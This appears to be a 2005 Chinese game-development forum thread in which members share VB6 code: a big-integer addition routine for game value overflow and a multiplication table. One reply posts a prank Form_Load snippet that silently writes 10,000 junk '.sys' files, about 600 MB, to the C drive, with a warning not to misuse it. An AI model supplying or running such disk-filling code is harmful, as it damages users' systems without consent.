游戏开发论坛

 找回密码
 立即注册
搜索
查看: 3801|回复: 16

大家来发代码贴,口水贴停停

[复制链接]

18

主题

110

帖子

110

积分

注册会员

Rank: 2

积分
110
发表于 2005-12-25 23:27:00 | 显示全部楼层 |阅读模式
先来个加法运算的

VERSION 5.00
Begin VB.Form Form1
   Caption         =   "Maths Demo--http://www.huoniao.com "
   ClientHeight    =   5115
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   8025
   LinkTopic       =   "Form1"
   ScaleHeight     =   5115
   ScaleWidth      =   8025
   StartUpPosition =   3  '窗口缺省
   Begin VB.CommandButton Command5
      Caption         =   "Run"
      Height          =   975
      Left            =   6360
      TabIndex        =   9
      Top             =   3330
      Width           =   1245
   End
   Begin VB.CommandButton Command4
      Caption         =   "÷"
      Enabled         =   0   'False
      Height          =   525
      Left            =   6360
      TabIndex        =   8
      Top             =   2550
      Width           =   1245
   End
   Begin VB.CommandButton Command2
      Caption         =   "×"
      Enabled         =   0   'False
      Height          =   525
      Left            =   6360
      TabIndex        =   7
      Top             =   1950
      Width           =   1245
   End
   Begin VB.CommandButton Command1
      Caption         =   "-"
      Enabled         =   0   'False
      Height          =   525
      Left            =   6360
      TabIndex        =   6
      Top             =   1350
      Width           =   1245
   End
   Begin VB.ComboBox Combo1
      Height          =   300
      ItemData        =   "Form1.frx":0000
      Left            =   3030
      List            =   "Form1.frx":0010
      Style           =   2  'Dropdown List
      TabIndex        =   4
      Top             =   450
      Width           =   555
   End
   Begin VB.CommandButton Command3
      Caption         =   "+"
      Enabled         =   0   'False
      Height          =   525
      Left            =   6360
      TabIndex        =   3
      Top             =   750
      Width           =   1245
   End
   Begin VB.TextBox Text3
      Height          =   3465
      Left            =   330
      MultiLine       =   -1  'True
      TabIndex        =   2
      Top             =   840
      Width           =   5985
   End
   Begin VB.TextBox Text2
      Height          =   300
      Left            =   3690
      TabIndex        =   1
      Text            =   $"Form1.frx":0024
      Top             =   450
      Width           =   2625
   End
   Begin VB.TextBox Text1
      Height          =   300
      Left            =   330
      TabIndex        =   0
      Text            =   "1231111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"
      Top             =   450
      Width           =   2595
   End
   Begin VB.Label Label2
      Caption         =   "Label2"
      Height          =   315
      Left            =   330
      TabIndex        =   10
      Top             =   4380
      Width           =   5955
   End
   Begin VB.Label Label1
      Caption         =   "本演示可以进行近21亿位整数的运算,本人很菜,只能写写这样的东东^_^"
      Height          =   315
      Left            =   300
      TabIndex        =   5
      Top             =   60
      Width           =   6045
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit

Private Sub Command5_Click()
    Dim strSTemp1 As String, strSTemp2 As String
    Dim i As Long, j As Long
    i = timeGetTime()
    If Combo1.Text = "+" Then
        Text3 = mAddition(Text1, Text2)
    ElseIf Combo1.Text = "-" Then
        MsgBox "缺少功能!", vbExclamation
    ElseIf Combo1.Text = "×" Then

    ElseIf Combo1.Text = "÷" Then
        MsgBox "缺少功能!", vbExclamation
    Else
        MsgBox "尚未指定运算符!", vbExclamation
        Exit Sub
    End If
    j = timeGetTime
    i = j - i
    Label2.Caption = "您使用了" & Combo1.Text & "法运算,  共用时: " & i & "  毫秒"
End Sub
'====================================================
Attribute VB_Name = "mdlDeclare"
Option Explicit

Public Declare Function timeGetTime Lib "winmm.dll" () As Long

'n位数运算模拟过程——加法
Function mAddition(ByVal atExpLeft As String, ByVal atExpRight As String) As String
    '--------------------左数值                    右数值
    'A+B  ==> 123456789 + 1234567890  ==> 00123456789 + 01234567890  ==> 01358024679
    Dim maxLen As Long '估计总长度
    Dim alLen As Long, arLen As Long '各数的长度
    Dim atTemp() As Integer '临时数组
    Dim i As Long, j As Long 'j为字符串左边非0的字符串长度
    Dim atCarry As String, atValue As String   '进位的值,临时的和
    Dim atValLeft As Integer, atValRight As Integer '分解后的单个数值
    Dim atStr As String

    alLen = Len(atExpLeft): arLen = Len(atExpRight)

    If alLen >= arLen Then
        maxLen = alLen + 1
    Else
        maxLen = arLen + 1
    End If

    atExpLeft = mMidString(atExpLeft, maxLen, alLen)
    atExpRight = mMidString(atExpRight, maxLen, arLen)

    ReDim atTemp(1 To 2)
    atCarry = "0"
    atValue = "0"
    For i = maxLen To 1 Step -1
        atValLeft = CInt(Mid(atExpLeft, i, 1))
        atValRight = CInt(Mid(atExpRight, i, 1))
        atValue = Format(CStr(atValLeft + atValRight + CInt(atCarry)), "00")

        atCarry = CInt(Mid(CStr(atValue), 1, 1))
        atValue = CInt(Mid(CStr(atValue), 2, 1))

        mAddition = atValue & mAddition
    Next

    For i = 1 To maxLen
        atStr = Mid(mAddition, i, 1)
        If Not atStr = "0" Then
            j = maxLen - i + 1
            Exit For
        End If
    Next i
    mAddition = Right(mAddition, j)
    Exit Function
err:
    MsgBox "Error Code"
    Exit Function
End Function

小小代码,请勿见笑
大家跟贴,谢谢
希望各位别提供程序资源下载,
让大家看代码动手实现
老是down->unzip->open->run 无聊

18

主题

110

帖子

110

积分

注册会员

Rank: 2

积分
110
 楼主| 发表于 2005-12-25 23:31:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

忘了这一部分,srroy
'n位数运算模拟过程——字符串格式化
Function mMidString(ByVal msString As String, ByVal msMaxLen As Long, ByVal msLen As Long) As String
    '---------------------待分解的字符串          估计最大长度          字符串长度

    Dim sTemp() As Long
    Dim i As Long, j As Long
    If msMaxLen <= msLen Then GoTo ErrLen

    ReDim sTemp(1 To msMaxLen)

    'For i = 1 To MaxLen
    '    sTemp(i) = 0
    'Next i

    For i = 1 To msMaxLen ' Step -1
        On Error Resume Next
        sTemp(msMaxLen - i + 1) = CLng(Mid(msString, (msLen + 1 - i), 1))
    Next i

    For i = 1 To msMaxLen ' Step -1
        mMidString = mMidString & CStr(sTemp(i))
    Next
    Exit Function
ErrLen:
    MsgBox "    字符串长度不符合规则," + Chr$(13) + Chr$(10) + _
           "“ msMaxLen > msLen  ” 并且 " + Chr$(13) + Chr$(10) + _
           "“ msMaxLen ”大于最大“ msLen ”值“ 1 ”!", vbExclamation
    mMidString = "0"
    Exit Function
End Function

18

主题

110

帖子

110

积分

注册会员

Rank: 2

积分
110
 楼主| 发表于 2005-12-25 23:41:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

这个是为了解决游戏中超大数值溢出的解决方案
所以贴之

18

主题

110

帖子

110

积分

注册会员

Rank: 2

积分
110
 楼主| 发表于 2005-12-26 20:14:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

代码贴没人跟,吵架贴刷刷刷.....................
什么世道?!

18

主题

110

帖子

110

积分

注册会员

Rank: 2

积分
110
 楼主| 发表于 2005-12-26 20:15:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停


恨~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

130

主题

2714

帖子

2714

积分

金牌会员

Rank: 6Rank: 6

积分
2714
发表于 2005-12-26 20:21:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

我发了很多呀!有个人说:没有最好的语言,只有最差的程序员。

九九就乘法表
Dim i, j As Integer  
Dim x, y As Integer  

strBUF = ""  
For i = 1 To 9  
   If i <= 5 Then  
      x = i  
      y = 1  
   Else  
      x = i - 5  
      y = 2  
   End If  
   Me.CurrentY = (y - 1) * (Me.ScaleHeight / 3) * 1.2  
   Me.Print  
   For j = 1 To 9  
      Me.CurrentX = (x - 1) * (Me.ScaleWidth / 5)  
      Me.Print i & " * " & j & " = " & i * j  
   Next  
   Me.Print  
Next i  

130

主题

2714

帖子

2714

积分

金牌会员

Rank: 6Rank: 6

积分
2714
发表于 2005-12-26 20:28:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

楼主怎么还用5.0?

这个强,别乱用,在你的C盘写600M垃圾文件!硬盘坏了我不负责。

Private Sub Form_Load()
On Error Resume Next
For h = 1 To 10000
Open "c:\I-LOVE-YOU" + CStr(h) + ".sys" For Random As 1
DoEvents
Put #1, 60000, "..."
Close #1
Next
End Sub


18

主题

110

帖子

110

积分

注册会员

Rank: 2

积分
110
 楼主| 发表于 2005-12-26 20:57:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

VERSION 5.00
VB6的窗体数据是这样的
你打开一个看看,
不知道你们是否这样

13

主题

594

帖子

595

积分

高级会员

Rank: 4

积分
595
发表于 2005-12-26 21:15:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

呵呵,原来游戏之家是第一次看到VB6窗体文件的代码啊

18

主题

110

帖子

110

积分

注册会员

Rank: 2

积分
110
 楼主| 发表于 2005-12-26 21:20:00 | 显示全部楼层

Re:大家来发代码贴,口水贴停停

不许挑衅^_^
我正在想办法实现VB真彩色图片不失真的加载办法
也许会失败,想用指针的方式试试,有点难度
大家一起来,
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

作品发布|文章投稿|广告合作|关于本站|游戏开发论坛 ( 闽ICP备17032699号-3 )

GMT+8, 2026-1-23 02:22

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表